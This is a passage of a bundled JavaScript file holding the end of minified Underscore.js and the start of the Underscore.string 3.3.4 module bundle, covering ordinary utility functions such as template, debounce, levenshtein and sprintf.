47if(!r(n[i],i,n))return!1}return!0}function Or(n,r,t){r=qn(r,t);for(var e=!tr(n)&&nn(n),u=(e||n).length,o=0;o<u;o++){var i=e?e[o]:o;if(r(n[i],i,n))return!0}return!1}function Mr(n,r,t,e){return tr(n)||(n=jn(n)),("number"!=typeof t||e)&&(t=0),gr(n,r,t)>=0}var Er=j((function(n,r,t){var e,u;return D(r)?u=r:(r=Nn(r),e=r.slice(0,-1),r=r[r.length-1]),jr(n,(function(n){var o=u;if(!o){if(e&&e.length&&(n=In(n,e)),null==n)return;o=n[r]}return null==o?o:o.apply(n,t)}))}));function Br(n,r){return jr(n,Rn(r))}function Nr(n,r,t){var e,u,o=-1/0,i=-1/0;if(null==r||"number"==typeof r&&"object"!=typeof n[0]&&null!=n)for(var a=0,f=(n=tr(n)?n:jn(n)).length;a<f;a++)null!=(e=n[a])&&e>o&&(o=e);else r=qn(r,t),mr(n,(function(n,t,e){((u=r(n,t,e))>i||u===-1/0&&o===-1/0)&&(o=n,i=u)}));return o}function Ir(n,r,t){if(null==r||t)return tr(n)||(n=jn(n)),n[Wn(n.length-1)];var e=tr(n)?En(n):jn(n),u=Y(e);r=Math.max(Math.min(r,u),0);for(var o=u-1,i=0;i<r;i++){var a=Wn(i,o),f=e[i];e[i]=e[a],e[a]=f}return e.slice(0,r)}function kr(n,r){return function(t,e,u){var o=r?[[],[]]:{};return e=qn(e,u),mr(t,(function(r,u){var i=e(r,u,t);n(o,r,i)})),o}}var Tr=kr((function(n,r,t){W(n,t)?n[t].push(r):n[t]=[r]})),Dr=kr((function(n,r,t){n[t]=r})),Rr=kr((function(n,r,t){W(n,t)?n[t]++:n[t]=1})),Fr=kr((function(n,r,t){n[t?0:1].push(r)}),!0),Vr=/[^\ud800-\udfff]|[\ud800-\udbff][\udc00-\udfff]|[\ud800-\udfff]/g;function Pr(n,r,t){return r in t}var qr=j((function(n,r){var t={},e=r[0];if(null==n)return t;D(e)?(r.length>1&&(e=Fn(e,r[1])),r=an(n)):(e=Pr,r=er(r,!1,!1),n=Object(n));for(var u=0,o=r.length;u<o;u++){var i=r[u],a=n[i];e(a,i,n)&&(t[i]=a)}return t})),Ur=j((function(n,r){var t,e=r[0];return D(e)?(e=ar(e),r.length>1&&(t=r[1])):(r=jr(er(r,!1,!1),String),e=function(n,t){return!Mr(r,t)}),qr(n,e,t)}));function Wr(n,r,t){return i.call(n,0,Math.max(0,n.length-(null==r||t?1:r)))}function zr(n,r,t){return null==n||n.length<1?null==r||t?void 0:[]:null==r||t?n[0]:Wr(n,n.length-r)}function Lr(n,r,t){return i.call(n,null==r||t?1:r)}var Cr=j((function(n,r){return r=er(r,!0,!0),xr(n,(function(n){return!Mr(r,n)}))})),Kr=j((function(n,r){return Cr(n,r)}));function Jr(n,r,t,e){A(r)||(e=t,t=r,r=!1),null!=t&&(t=qn(t,e));for(var u=[],o=[],i=0,a=Y(n);i<a;i++){var f=n[i],c=t?t(f,i,n):f;r&&!t?(i&&o===c||u.push(f),o=c):t?Mr(o,c)||(o.push(c),u.push(f)):Mr(u,f)||u.push(f)}return u}var $r=j((function(n){return Jr(er(n,!0,!0))}));function Gr(n){for(var r=n&&Nr(n,Y).length||0,t=Array(r),e=0;e<r;e++)t[e]=Br(n,e);return t}var Hr=j(Gr);function Qr(n,r){return n._chain?tn(r).chain():r}function Xr(n){return mr(wn(n),(function(r){var t=tn[r]=n[r];tn.prototype[r]=function(){var n=[this._wrapped];return o.apply(n,arguments),Qr(this,t.apply(tn,n))}})),tn}mr(["pop","push","reverse","shift","sort","splice","unshift"],(function(n){var r=t[n];tn.prototype[n]=function(){var t=this._wrapped;return null!=t&&(r.apply(t,arguments),"shift"!==n&&"splice"!==n||0!==t.length||delete t[0]),Qr(this,t)}})),mr(["concat","join","slice"],(function(n){var r=t[n];tn.prototype[n]=function(){var n=this._wrapped;return null!=n&&(n=r.apply(n,arguments)),Qr(this,n)}}));var Yr=Xr({__proto__:null,VERSION:n,restArguments:j,isObject:_,isNull:function(n){return null===n},isUndefined:w,isBoolean:A,isElement:function(n){return!(!n||1!==n.nodeType)},isString:S,isNumber:O,isDate:M,isRegExp:E,isError:B,isSymbol:N,isArrayBuffer:I,isDataView:q,isArray:U,isFunction:D,isArguments:L,isFinite:function(n){return!N(n)&&g(n)&&!isNaN(parseFloat(n))},isNaN:C,isTypedArray:X,isEmpty:function(n){if(null==n)return!0;var r=Y(n);return"number"==typeof r&&(U(n)||S(n)||L(n))?0===r:0===Y(nn(n))},isMatch:rn,isEqual:function(n,r){return on(n,r)},isMap:gn,isWeakMap:dn,isSet:bn,isWeakSet:mn,keys:nn,allKeys:an,values:jn,pairs:function(n){for(var r=nn(n),t=r.length,e=Array(t),u=0;u<t;u++)e[u]=[r[u],n[r[u]]];return e},invert:_n,functions:wn,methods:wn,extend:xn,extendOwn:Sn,assign:Sn,defaults:On,create:function(n,r){var t=Mn(n);return r&&Sn(t,r),t},clone:En,tap:function(n,r){return r(n),n},get:kn,has:function(n,r){for(var t=(r=Nn(r)).length,e=0;e<t;e++){var u=r[e];if(!W(n,u))return!1;n=n[u]}return!!t},mapObject:function(n,r,t){r=qn(r,t);for(var e=nn(n),u=e.length,o={},i=0;i<u;i++){var a=e[i];o[a]=r(n[a],a,n)}return o},identity:Tn,constant:K,noop:Un,toPath:Bn,property:Rn,propertyOf:function(n){return null==n?Un:function(r){return kn(n,r)}},matcher:Dn,matches:Dn,times:function(n,r,t){var e=Array(Math.max(0,n));r=Fn(r,t,1);for(var u=0;u<n;u++)e[u]=r(u);return e},random:Wn,now:zn,escape:Kn,unescape:Jn,templateSettings:$n,template:function(n,r,t){!r&&t&&(r=t),r=On({},r,tn.templateSettings);var e,u=RegExp([(r.escape||Gn).source,(r.interpolate||Gn).source,(r.evaluate||Gn).source].join("|")+"|$","g"),o=0,i="__p+='";n.replace(u,(function(r,t,e,u,a){return i+=n.slice(o,a).replace(Qn,Xn),o=a+r.length,t?i+="'+\n((__t=("+t+"))==null?'':_.escape(__t))+\n'":e?i+="'+\n((__t=("+e+"))==null?'':__t)+\n'":u&&(i+="';\n"+u+"\n__p+='"),r})),i+="';\n",r.variable||(i="with(obj||{}){\n"+i+"}\n"),i="var __t,__p='',__j=Array.prototype.join,"+"print=function(){__p+=__j.call(arguments,'');};\n"+i+"return __p;\n";try{e=new Function(r.variable||"obj","_",i)}catch(n){throw n.source=i,n}var a=function(n){return e.call(this,n,tn)},f=r.variable||"obj";return a.source="function("+f+"){\n"+i+"}",a},result:function(n,r,t){var e=(r=Nn(r)).length;if(!e)return D(t)?t.call(n):t;for(var u=0;u<e;u++){var o=null==n?void 0:n[r[u]];void 0===o&&(o=t,u=e),n=D(o)?o.call(n):o}return n},uniqueId:function(n){var r=++Yn+"";return n?n+r:r},chain:function(n){var r=tn(n);return r._chain=!0,r},iteratee:Pn,partial:nr,bind:rr,bindAll:ur,memoize:function(n,r){var t=function(e){var u=t.cache,o=""+(r?r.apply(this,arguments):e);return W(u,o)||(u[o]=n.apply(this,arguments)),u[o]};return t.cache={},t},delay:or,defer:ir,throttle:function(n,r,t){var e,u,o,i,a=0;t||(t={});var f=function(){a=!1===t.leading?0:zn(),e=null,i=n.apply(u,o),e||(u=o=null)},c=function(){var c=zn();a||!1!==t.leading||(a=c);var l=r-(c-a);return u=this,o=arguments,l<=0||l>r?(e&&(clearTimeout(e),e=null),a=c,i=n.apply(u,o),e||(u=o=null)):e||!1===t.trailing||(e=setTimeout(f,l)),i};return c.cancel=function(){clearTimeout(e),a=0,e=u=o=null},c},debounce:function(n,r,t){var e,u,o=function(r,t){e=null,t&&(u=n.apply(r,t))},i=j((function(i){if(e&&clearTimeout(e),t){var a=!e;e=setTimeout(o,r),a&&(u=n.apply(this,i))}else e=or(o,r,this,i);return u}));return i.cancel=function(){clearTimeout(e),e=null},i},wrap:function(n,r){return nr(r,n)},negate:ar,compose:function(){var n=arguments,r=n.length-1;return function(){for(var t=r,e=n[r].apply(this,arguments);t--;)e=n[t].call(this,e);return e}},after:function(n,r){return function(){if(--n<1)return r.apply(this,arguments)}}
47,before:fr,once:cr,findKey:lr,findIndex:pr,findLastIndex:vr,sortedIndex:hr,indexOf:gr,lastIndexOf:dr,find:br,detect:br,findWhere:function(n,r){return br(n,Dn(r))},each:mr,forEach:mr,map:jr,collect:jr,reduce:wr,foldl:wr,inject:wr,reduceRight:Ar,foldr:Ar,filter:xr,select:xr,reject:function(n,r,t){return xr(n,ar(qn(r)),t)},every:Sr,all:Sr,some:Or,any:Or,contains:Mr,includes:Mr,include:Mr,invoke:Er,pluck:Br,where:function(n,r){return xr(n,Dn(r))},max:Nr,min:function(n,r,t){var e,u,o=1/0,i=1/0;if(null==r||"number"==typeof r&&"object"!=typeof n[0]&&null!=n)for(var a=0,f=(n=tr(n)?n:jn(n)).length;a<f;a++)null!=(e=n[a])&&e<o&&(o=e);else r=qn(r,t),mr(n,(function(n,t,e){((u=r(n,t,e))<i||u===1/0&&o===1/0)&&(o=n,i=u)}));return o},shuffle:function(n){return Ir(n,1/0)},sample:Ir,sortBy:function(n,r,t){var e=0;return r=qn(r,t),Br(jr(n,(function(n,t,u){return{value:n,index:e++,criteria:r(n,t,u)}})).sort((function(n,r){var t=n.criteria,e=r.criteria;if(t!==e){if(t>e||void 0===t)return 1;if(t<e||void 0===e)return-1}return n.index-r.index})),"value")},groupBy:Tr,indexBy:Dr,countBy:Rr,partition:Fr,toArray:function(n){return n?U(n)?i.call(n):S(n)?n.match(Vr):tr(n)?jr(n,Tn):jn(n):[]},size:function(n){return null==n?0:tr(n)?n.length:nn(n).length},pick:qr,omit:Ur,first:zr,head:zr,take:zr,initial:Wr,last:function(n,r,t){return null==n||n.length<1?null==r||t?void 0:[]:null==r||t?n[n.length-1]:Lr(n,Math.max(0,n.length-r))},rest:Lr,tail:Lr,drop:Lr,compact:function(n){return xr(n,Boolean)},flatten:function(n,r){return er(n,r,!1)},without:Kr,uniq:Jr,unique:Jr,union:$r,intersection:function(n){for(var r=[],t=arguments.length,e=0,u=Y(n);e<u;e++){var o=n[e];if(!Mr(r,o)){var i;for(i=1;i<t&&Mr(arguments[i],o);i++);i===t&&r.push(o)}}return r},difference:Cr,unzip:Gr,transpose:Gr,zip:Hr,object:function(n,r){for(var t={},e=0,u=Y(n);e<u;e++)r?t[n[e]]=r[e]:t[n[e][0]]=n[e][1];return t},range:function(n,r,t){null==r&&(r=n||0,n=0),t||(t=r<n?-1:1);for(var e=Math.max(Math.ceil((r-n)/t),0),u=Array(e),o=0;o<e;o++,n+=t)u[o]=n;return u},chunk:function(n,r){if(null==r||r<1)return[];for(var t=[],e=0,u=n.length;e<u;)t.push(i.call(n,e,e+=r));return t},mixin:Xr,default:tn});return Yr._=Yr,Yr}));; 48/* AUTOGENERATED: underscore.string.min.js */ 49/* 50* Underscore.string 51* (c) 2010 Esa-Matti Suuronen <esa-matti aet suuronen dot org> 52* Underscore.string is freely distributable under the terms of the MIT license. 53* Documentation: https://github.com/epeli/underscore.string 54* Some code is borrowed from MooTools and Alexandru Marasteanu. 55* Version '3.3.4' 56* @preserve 57*/ 58(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.s=f()}})(function(){var define,module,exports;return function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s}({1:[function(require,module,exports){var trim=require("./trim");var decap=require("./decapitalize");module.exports=function camelize(str,decapitalize){str=trim(str).replace(/[-_\s]+(.)?/g,function(match,c){return c?c.toUpperCase():""});if(decapitalize===true){return decap(str)}else{return str}}},{"./decapitalize":10,"./trim":65}],2:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function capitalize(str,lowercaseRest){str=makeString(str);var remainingChars=!lowercaseRest?str.slice(1):str.slice(1).toLowerCase();return str.charAt(0).toUpperCase()+remainingChars}},{"./helper/makeString":20}],3:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function chars(str){return makeString(str).split("")}},{"./helper/makeString":20}],4:[function(require,module,exports){module.exports=function chop(str,step){if(str==null)return[];str=String(str);step=~~step;return step>0?str.match(new RegExp(".{1,"+step+"}","g")):[str]}},{}],5:[function(require,module,exports){var capitalize=require("./capitalize");var camelize=require("./camelize");var makeString=require("./helper/makeString");module.exports=function classify(str){str=makeString(str);return capitalize(camelize(str.replace(/[\W_]/g," ")).replace(/\s/g,""))}},{"./camelize":1,"./capitalize":2,"./helper/makeString":20}],6:[function(require,module,exports){var trim=require("./trim");module.exports=function clean(str){return trim(str).replace(/\s\s+/g," ")}},{"./trim":65}],7:[function(require,module,exports){var makeString=require("./helper/makeString");var from="Ä Ã Ã¡Ã¤Ã¢Ã£Ã¥Ã¦ÄÄÄÄÄèéëêÄĥìÃïîĵÅľÅÅòóöÅôõðøÅÈÅÅ¡ÅÅ¥ÈÅ£Åùúüűûñÿýçżźž",to="aaaaaaaaaccceeeeeghiiiijllnnoooooooossssstttuuuuuunyyczzz";from+=from.toUpperCase();to+=to.toUpperCase();to=to.split("");from+="Ã";to.push("ss");module.exports=function cleanDiacritics(str){return makeString(str).replace(/.{1}/g,function(c){var index=from.indexOf(c);return index===-1?c:to[index]})}},{"./helper/makeString":20}],8:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function(str,substr){str=makeString(str);substr=makeString(substr);if(str.length===0||substr.length===0)return 0;
58return str.split(substr).length-1}},{"./helper/makeString":20}],9:[function(require,module,exports){var trim=require("./trim");module.exports=function dasherize(str){return trim(str).replace(/([A-Z])/g,"-$1").replace(/[-_\s]+/g,"-").toLowerCase()}},{"./trim":65}],10:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function decapitalize(str){str=makeString(str);return str.charAt(0).toLowerCase()+str.slice(1)}},{"./helper/makeString":20}],11:[function(require,module,exports){var makeString=require("./helper/makeString");function getIndent(str){var matches=str.match(/^[\s\\t]*/gm);var indent=matches[0].length;for(var i=1;i<matches.length;i++){indent=Math.min(matches[i].length,indent)}return indent}module.exports=function dedent(str,pattern){str=makeString(str);var indent=getIndent(str);var reg;if(indent===0)return str;if(typeof pattern==="string"){reg=new RegExp("^"+pattern,"gm")}else{reg=new RegExp("^[ \\t]{"+indent+"}","gm")}return str.replace(reg,"")}},{"./helper/makeString":20}],12:[function(require,module,exports){var makeString=require("./helper/makeString");var toPositive=require("./helper/toPositive");module.exports=function endsWith(str,ends,position){str=makeString(str);ends=""+ends;if(typeof position=="undefined"){position=str.length-ends.length}else{position=Math.min(toPositive(position),str.length)-ends.length}return position>=0&&str.indexOf(ends,position)===position}},{"./helper/makeString":20,"./helper/toPositive":22}],13:[function(require,module,exports){var makeString=require("./helper/makeString");var escapeChars=require("./helper/escapeChars");var regexString="[";for(var key in escapeChars){regexString+=key}regexString+="]";var regex=new RegExp(regexString,"g");module.exports=function escapeHTML(str){return makeString(str).replace(regex,function(m){return"&"+escapeChars[m]+";"})}},{"./helper/escapeChars":17,"./helper/makeString":20}],14:[function(require,module,exports){module.exports=function(){var result={};for(var prop in this){if(!this.hasOwnProperty(prop)||prop.match(/^(?:include|contains|reverse|join|map|wrap)$/))continue;result[prop]=this[prop]}return result}},{}],15:[function(require,module,exports){var makeString=require("./makeString");module.exports=function adjacent(str,direction){str=makeString(str);if(str.length===0){return""}return str.slice(0,-1)+String.fromCharCode(str.charCodeAt(str.length-1)+direction)}},{"./makeString":20}],16:[function(require,module,exports){var escapeRegExp=require("./escapeRegExp");module.exports=function defaultToWhiteSpace(characters){if(characters==null)return"\\s";else if(characters.source)return characters.source;else return"["+escapeRegExp(characters)+"]"}},{"./escapeRegExp":18}],17:[function(require,module,exports){var escapeChars={"¢":"cent","£":"pound","Â¥":"yen","â¬":"euro","©":"copy","®":"reg","<":"lt",">":"gt",'"':"quot","&":"amp","'":"#39"};module.exports=escapeChars},{}],18:[function(require,module,exports){var makeString=require("./makeString");module.exports=function escapeRegExp(str){return makeString(str).replace(/([.*+?^=!:${}()|[\]\/\\])/g,"\\$1")}},{"./makeString":20}],19:[function(require,module,exports){var htmlEntities={nbsp:" ",cent:"¢",pound:"£",yen:"Â¥",euro:"â¬",copy:"©",reg:"®",lt:"<",gt:">",quot:'"',amp:"&",apos:"'"};module.exports=htmlEntities},{}],20:[function(require,module,exports){module.exports=function makeString(object){if(object==null)return"";return""+object}},{}],21:[function(require,module,exports){module.exports=function strRepeat(str,qty){if(qty<1)return"";var result="";while(qty>0){if(qty&1)result+=str;qty>>=1,str+=str}return result}},{}],22:[function(require,module,exports){module.exports=function toPositive(number){return number<0?0:+number||0}},{}],23:[function(require,module,exports){var capitalize=require("./capitalize");var underscored=require("./underscored");var trim=require("./trim");module.exports=function humanize(str){return capitalize(trim(underscored(str).replace(/_id$/,"").replace(/_/g," ")))}},{"./capitalize":2,"./trim":65,"./underscored":67}],24:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function include(str,needle){if(needle==="")return true;return makeString(str).indexOf(needle)!==-1}},{"./helper/makeString":20}],25:[function(require,module,exports){/* 59* Underscore.string 60* (c) 2010 Esa-Matti Suuronen <esa-matti aet suuronen dot org> 61* Underscore.string is freely distributable under the terms of the MIT license. 62* Documentation: https://github.com/epeli/underscore.string 63* Some code is borrowed from MooTools and Alexandru Marasteanu. 64* Version '3.3.4' 65* @preserve 66*/ 67 "use strict";function s(value){if(!(this instanceof s))return new s(value);this._wrapped=value}s.VERSION="3.3.4";s.isBlank=require("./isBlank");s.stripTags=require("./stripTags");s.capitalize=require("./capitalize");s.decapitalize=require("./decapitalize");s.chop=require("./chop");s.trim=require("./trim");s.clean=require("./clean");s.cleanDiacritics=require("./cleanDiacritics");s.count=require("./count");s.chars=require("./chars");s.swapCase=require("./swapCase");s.escapeHTML=require("./escapeHTML");s.unescapeHTML=require("./unescapeHTML");s.splice=require("./splice");s.insert=require("./insert");
67s.replaceAll=require("./replaceAll");s.include=require("./include");s.join=require("./join");s.lines=require("./lines");s.dedent=require("./dedent");s.reverse=require("./reverse");s.startsWith=require("./startsWith");s.endsWith=require("./endsWith");s.pred=require("./pred");s.succ=require("./succ");s.titleize=require("./titleize");s.camelize=require("./camelize");s.underscored=require("./underscored");s.dasherize=require("./dasherize");s.classify=require("./classify");s.humanize=require("./humanize");s.ltrim=require("./ltrim");s.rtrim=require("./rtrim");s.truncate=require("./truncate");s.prune=require("./prune");s.words=require("./words");s.pad=require("./pad");s.lpad=require("./lpad");s.rpad=require("./rpad");s.lrpad=require("./lrpad");s.sprintf=require("./sprintf");s.vsprintf=require("./vsprintf");s.toNumber=require("./toNumber");s.numberFormat=require("./numberFormat");s.strRight=require("./strRight");s.strRightBack=require("./strRightBack");s.strLeft=require("./strLeft");s.strLeftBack=require("./strLeftBack");s.toSentence=require("./toSentence");s.toSentenceSerial=require("./toSentenceSerial");s.slugify=require("./slugify");s.surround=require("./surround");s.quote=require("./quote");s.unquote=require("./unquote");s.repeat=require("./repeat");s.naturalCmp=require("./naturalCmp");s.levenshtein=require("./levenshtein");s.toBoolean=require("./toBoolean");s.exports=require("./exports");s.escapeRegExp=require("./helper/escapeRegExp");s.wrap=require("./wrap");s.map=require("./map");s.strip=s.trim;s.lstrip=s.ltrim;s.rstrip=s.rtrim;s.center=s.lrpad;s.rjust=s.lpad;s.ljust=s.rpad;s.contains=s.include;s.q=s.quote;s.toBool=s.toBoolean;s.camelcase=s.camelize;s.mapChars=s.map;s.prototype={value:function value(){return this._wrapped}};function fn2method(key,fn){if(typeof fn!=="function")return;s.prototype[key]=function(){var args=[this._wrapped].concat(Array.prototype.slice.call(arguments));var res=fn.apply(null,args);return typeof res==="string"?new s(res):res}}for(var key in s)fn2method(key,s[key]);fn2method("tap",function tap(string,fn){return fn(string)});function prototype2method(methodName){fn2method(methodName,function(context){var args=Array.prototype.slice.call(arguments,1);return String.prototype[methodName].apply(context,args)})}var prototypeMethods=["toUpperCase","toLowerCase","split","replace","slice","substring","substr","concat"];for(var method in prototypeMethods)prototype2method(prototypeMethods[method]);module.exports=s},{"./camelize":1,"./capitalize":2,"./chars":3,"./chop":4,"./classify":5,"./clean":6,"./cleanDiacritics":7,"./count":8,"./dasherize":9,"./decapitalize":10,"./dedent":11,"./endsWith":12,"./escapeHTML":13,"./exports":14,"./helper/escapeRegExp":18,"./humanize":23,"./include":24,"./insert":26,"./isBlank":27,"./join":28,"./levenshtein":29,"./lines":30,"./lpad":31,"./lrpad":32,"./ltrim":33,"./map":34,"./naturalCmp":35,"./numberFormat":38,"./pad":39,"./pred":40,"./prune":41,"./quote":42,"./repeat":43,"./replaceAll":44,"./reverse":45,"./rpad":46,"./rtrim":47,"./slugify":48,"./splice":49,"./sprintf":50,"./startsWith":51,"./strLeft":52,"./strLeftBack":53,"./strRight":54,"./strRightBack":55,"./stripTags":56,"./succ":57,"./surround":58,"./swapCase":59,"./titleize":60,"./toBoolean":61,"./toNumber":62,"./toSentence":63,"./toSentenceSerial":64,"./trim":65,"./truncate":66,"./underscored":67,"./unescapeHTML":68,"./unquote":69,"./vsprintf":70,"./words":71,"./wrap":72}],26:[function(require,module,exports){var splice=require("./splice");module.exports=function insert(str,i,substr){return splice(str,i,0,substr)}},{"./splice":49}],27:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function isBlank(str){return/^\s*$/.test(makeString(str))}},{"./helper/makeString":20}],28:[function(require,module,exports){var makeString=require("./helper/makeString");var slice=[].slice;module.exports=function join(){var args=slice.call(arguments),separator=args.shift();return args.join(makeString(separator))}},{"./helper/makeString":20}],29:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function levenshtein(str1,str2){"use strict";str1=makeString(str1);str2=makeString(str2);if(str1===str2)return 0;if(!str1||!str2)return Math.max(str1.length,str2.length);var prevRow=new Array(str2.length+1);for(var i=0;i<prevRow.length;++i){prevRow[i]=i}for(i=0;i<str1.length;++i){var nextCol=i+1;for(var j=0;j<str2.length;++j){var curCol=nextCol;nextCol=prevRow[j]+(str1.charAt(i)===str2.charAt(j)?0:1);var tmp=curCol+1;if(nextCol>tmp){nextCol=tmp}tmp=prevRow[j+1]+1;if(nextCol>tmp){nextCol=tmp}prevRow[j]=curCol}prevRow[j]=nextCol}return nextCol}},{"./helper/makeString":20}],30:[function(require,module,exports){module.exports=function lines(str){if(str==null)return[];return String(str).split(/\r\n?|\n/)}},{}],31:[function(require,module,exports){var pad=require("./pad");module.exports=function lpad(str,length,padStr){return pad(str,length,padStr)}}
67,{"./pad":39}],32:[function(require,module,exports){var pad=require("./pad");module.exports=function lrpad(str,length,padStr){return pad(str,length,padStr,"both")}},{"./pad":39}],33:[function(require,module,exports){var makeString=require("./helper/makeString");var defaultToWhiteSpace=require("./helper/defaultToWhiteSpace");var nativeTrimLeft=String.prototype.trimLeft;module.exports=function ltrim(str,characters){str=makeString(str);if(!characters&&nativeTrimLeft)return nativeTrimLeft.call(str);characters=defaultToWhiteSpace(characters);return str.replace(new RegExp("^"+characters+"+"),"")}},{"./helper/defaultToWhiteSpace":16,"./helper/makeString":20}],34:[function(require,module,exports){var makeString=require("./helper/makeString");module.exports=function(str,callback){str=makeString(str);if(str.length===0||typeof callback!=="function")return str;return str.replace(/./g,callback)}},{"./helper/makeString":20}],35:[function(require,module,exports){module.exports=function naturalCmp(str1,str2){if(str1==str2)return 0;if(!str1)return-1;if(!str2)return 1;var cmpRegex=/(\.\d+|\d+|\D+)/g,tokens1=String(str1).match(cmpRegex),tokens2=String(str2).match(cmpRegex),count=Math.min(tokens1.length,tokens2.length);for(var i=0;i<count;i++){var a=tokens1[i],b=tokens2[i];if(a!==b){var num1=+a;var num2=+b;if(num1===num1&&num2===num2){return num1>num2?1:-1}return a<b?-1:1}}if(tokens1.length!=tokens2.length)return tokens1.length-tokens2.length;return str1<str2?-1:1}},{}],36:[function(require,module,exports){(function(window){var re={not_string:/[^s]/,number:/[diefg]/,json:/[j]/,not_json:/[^j]/,text:/^[^\x25]+/,modulo:/^\x25{2}/,placeholder:/^\x25(?:([1-9]\d*)\$|\(([^\)]+)\))?(\+)?(0|'[^$])?(-)?(\d+)?(?:\.(\d+))?([b-gijosuxX])/,key:/^([a-z_][a-z_\d]*)/i,key_access:/^\.([a-z_][a-z_\d]*)/i,index_access:/^\[(\d+)\]/,sign:/^[\+\-]/};function sprintf(){var key=arguments[0],cache=sprintf.cache;if(!(cache[key]&&cache.hasOwnProperty(key))){cache[key]=sprintf.parse(key)}return sprintf.format.call(null,cache[key],arguments)}sprintf.format=function(parse_tree,argv){var cursor=1,tree_length=parse_tree.length,node_type="",arg,output=[],i,k,match,pad,pad_character,pad_length,is_positive=true,sign="";for(i=0;i<tree_length;i++){node_type=get_type(parse_tree[i]);if(node_type==="string"){output[output.length]=parse_tree[i]}else if(node_type==="array"){match=parse_tree[i];if(match[2]){arg=argv[cursor];for(k=0;k<match[2].length;k++){if(!arg.hasOwnProperty(match[2][k])){throw new Error(sprintf("[sprintf] property '%s' does not exist",match[2][k]))}arg=arg[match[2][k]]}}else if(match[1]){arg=argv[match[1]]}else{arg=argv[cursor++]}if(get_type(arg)=="function"){arg=arg()}if(re.not_string.test(match[8])&&re.not_json.test(match[8])&&(get_type(arg)!="number"&&isNaN(arg))){throw new TypeError(sprintf("[sprintf] expecting number but found %s",get_type(arg)))}if(re.number.test(match[8])){is_positive=arg>=0}switch(match[8]){case"b":arg=arg.toString(2);break;case"c":arg=String.fromCharCode(arg);break;case"d":case"i":arg=parseInt(arg,10);break;case"j":arg=JSON.stringify(arg,null,match[6]?parseInt(match[6]):0);break;case"e":arg=match[7]?arg.toExponential(match[7]):arg.toExponential();break;case"f":arg=match[7]?parseFloat(arg).toFixed(match[7]):parseFloat(arg);break;case"g":arg=match[7]?parseFloat(arg).toPrecision(match[7]):parseFloat(arg);break;case"o":arg=arg.toString(8);break;case"s":arg=(arg=String(arg))&&match[7]?arg.substring(0,match[7]):arg;break;case"u":arg=arg>>>0;break;case"x":arg=arg.toString(16);break;case"X":arg=arg.toString(16).toUpperCase();break}if(re.json.test(match[8])){output[output.length]=arg}else{if(re.number.test(match[8])&&(!is_positive||match[3])){sign=is_positive?"+":"-";arg=arg.toString().replace(re.sign,"")}else{sign=""}pad_character=match[4]?match[4]==="0"?"0":match[4].charAt(1):" ";pad_length=match[6]-(sign+arg).length;pad=match[6]?pad_length>0?str_repeat(pad_character,pad_length):"":"";output[output.length]=match[5]?sign+arg+pad:pad_character==="0"?sign+pad+arg:pad+sign+arg}}}return output.join("")};sprintf.cache={};sprintf.parse=function(fmt){var _fmt=fmt,match=[],parse_tree=[],arg_names=0;while(_fmt){if((match=re.text.exec(_fmt))!==null){parse_tree[parse_tree.length]=match[0]}else if((match=re.modulo.exec(_fmt))!==null){parse_tree[parse_tree.length]="%"}else if((match=re.placeholder.exec(_fmt))!==null){if(match[2]){arg_names|=1;var field_list=[],replacement_field=match[2],field_match=[];if((field_match=re.key.exec(replacement_field))!==null){field_list[field_list.length]=field_match[1];while((replacement_field=replacement_field.substring(field_match[0].length))!==""){if((field_match=re.key_access.exec(replacement_field))!==null){field_list[field_list.length]=field_match[1]}else if((field_match=re.index_access.exec(replacement_field))!==null){field_list[field_list.length]=field_match[1]}else{throw new SyntaxError("[sprintf] failed to parse named argument key")}}}else{throw new SyntaxError("[sprintf] failed to parse named argument key")}match[2]=field_list}else{arg_names|=2}if(arg_names===3){throw new Error("[sprintf] mixing positional and named placeholders is not (yet) supported")}parse_tree[parse_tree.length]=match}else{throw new SyntaxError("[sprintf] unexpected placeholder")}_fmt=_fmt.substring(match[0].length)}return parse_tree};var vsprintf=function(fmt,argv,_argv){_argv=(argv||[]).slice(0);_argv.splice(0,0,fmt);return sprintf.apply(null,_argv)};function get_type(variable){return Object.prototype.toString.call(variable).slice(8,-1).toLowerCase()}function str_repeat(input,multiplier){return Array(multiplier+1).join(input)}if(typeof exports!=="undefined"){exports.sprintf=sprintf;exports.vsprintf=vsprintf}else{window.sprintf=sprintf;window.vsprintf=vsprintf;if(typeof define==="function"&&define.amd){define(function(){return{sprintf:sprintf,vsprintf:vsprintf}})}}})(typeof window==="undefined"?this:window)},{}],37:[function(require,module,exports){(function(global){module.exports=deprecate;function deprecate(fn,msg){if(config("noDeprecation")){return fn}var warned=false;function deprecated(){if(!warned){if(config("throwDeprecation")){throw new Error(msg)}else if(config("traceDeprecation")){console.trace(msg)}else{console.warn(msg)}warned=true}return fn.apply(this,arguments)}return deprecated}function config(name){try{if(!global.localStorage)return false}catch(_){return false}var val=global.localStorage[name];if(null==val)return false;return String(val).toLowerCase()==="true"}}).call(this,typeof global!=="undefined"?global:typeof self!=="undefined"?self:typeof window!=="undefined"?window:{})},{}],38:[function(require,module,exports){module.exports=function numberFormat(number,dec,dsep,tsep){if(isNaN(number)||number==null)return"";number=number.toFixed(~~dec);
